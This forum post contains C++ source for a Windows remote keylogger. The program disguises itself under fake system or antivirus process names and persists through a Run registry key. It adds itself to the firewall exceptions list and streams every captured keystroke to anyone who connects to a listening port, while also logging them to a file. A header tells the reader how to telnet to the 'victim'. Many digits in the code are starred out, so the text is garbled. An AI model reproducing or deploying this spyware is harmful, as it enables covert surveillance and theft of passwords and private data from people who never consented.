Code:
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* Name: Remote Logger V0.* *
* Author: NerveThraX *
* Date: *0/07/06 *6:5* *
* *
* A remote key logger that logs the keystrokes of a remote or local machine. *
* The keylogger starts a telnet server on port *80 of the remote host. *
* *
* This program is for educational purpose only. I am not responsible for any *
* damage this program might cause nor I am responsible how this program is *
* used. *
* *
* To access the key loggers remote features you will need to do the following.*
* *
* start -> run -> telnet <ipaddress_victim> *80 *
* *
* Now you wil be able to view the live feed of key strokes of the remote *
* machine. *
* *
* You can also use the key logger to log the keystrokes of a local machine, *
* since it keeps all keystrokes in a central file called log.txt in the *
* windows root directory. The key logger also paralyzes the windows firewall *
* so that no warning is message is made when the listing server is running,the*
* key logger also alters the reg keys so that it runs at every reboot. *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation. *
*******************************************************************************/
/*
The source code is compiled in Dev-C++ 4.*.*.2 linked to the ws2_*2.lib library.
The key logger seems to work stable in Windows XP Home/Pro Sp2, the key logger
also should work in Windows NT and 2000. You will want to choose a windows project
instead of a console project.
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
#include <ctime>
#include <cstdlib>
using namespace std;
#define MAX *024
void win_firewall(char* display_name);
int main()
{
char system[MAX];
char pathtofile[MAX];
const char *name[] = {"\\LiveUpdate.exe", "\\WindowsSpooler.exe", "\\TelnetClient.exe",
"\\Microsoft.exe", "\\Sp2Firewall.exe", "\\regedat.exe",
"\\ieexplorer.exe", "\\Explorer.exe", "\\windowsClient.exe",
"\\MCAGENT.exe", "\\MCUPDATE.exe", "\\MFW2EN.exe", "\\MFWENG*.exe",
"\\MGUI.exe", "\\msconfig.exe", "\\MINILOG.exe", "\\MOOLIVE.exe", "\\MRFLUX.exe",
"\\MSCONFIG.exe", "\\MSINFO*2.exe", "\\MSSMMC*2.exe", "\\MU0***AD.exe",
"\\NAV80TRY.exe", "\\NAVAPW*2.exe", "\\NAVDX.exe", "\\NAVSTUB.exe",
"\\NAVW*2.exe", "\\NC2000.exe", "\\NCINST4.exe", "\\NDD*2.exe",
"\\NEOMONITOR.exe", "\\NETARMOR.exe", "\\NETINFO.exe", "\\NETMON.exe", 0};
srand(time(0));
int random = rand() % *5;
name[random];
/* Finds the windows directory and copies the key logger*/
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,name[random]);
CopyFile(pathtofile,system,false);
/*Adds the reg key*/
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "Microsoft Windows Sp2 Firewall",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
ofstream gen("log.txt");
gen.close();
win_firewall("Microsoft Update");
/*starts the listing server on port *80*/
WSADATA wsaData;
WSAStartup(MAKEWORD(*, *), &wsaData);
SOCKET hServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN sai;
sai.sin_family = AF_INET;
sai.sin_addr.s_addr = INADDR_ANY;
sai.sin_port = htons(*80);
bind(hServer,(LPSOCKADDR)&sai,sizeof(struct sockaddr));
listen(hServer,*0);
SOCKET hClient = accept(hServer,NULL,NULL);
char szBuffer[MAX_PATH];
char szKey[MAX_PATH];
int uScanCode;
ofstream cvg("log.txt" , ios::app);
while(*)
{
for(int i = 0; i < 256; i++)
{
/*gets the key***rd input*/
if (GetAsyncKeyState(i) == -*2767)
{
uScanCode = MapVirtualKeyEx(i,0,GetKey***rdLayout(0));
GetKeyNameText(uScanCode << *6,szKey,MAX_PATH);
if(strlen(szKey) > 0)
{
strcpy(szBuffer,"["); strcat(szBuffer, szKey); strcat(szBuffer,"]");
send(hClient,szBuffer,strlen(szBuffer),0);/*sends the key strokes*/
/*writes to the log.txt file*/
if(cvg.is_open())
{
cvg << szBuffer;
}
}
}
}
}
closesocket(hClient);
closesocket(hServer);
WSACleanup();
cvg.close();
}
void win_firewall(char* display_name)
{
/*adds itself to the windows firewall exceptions list*/
char path[MAX_PATH];
HMODULE ModH = GetModuleHandle(NULL);
GetModuleFileName(ModH, path, sizeof(path));
char data[MAX_PATH] = "";
strcpy (data, path);
strcat (data, ":*:Enabled:");
strcat (data, display_name);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet00*\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, path,0,REG_SZ,(const unsigned char*)data,sizeof(data));
RegCloseKey(hKey);
}
Reply With Quote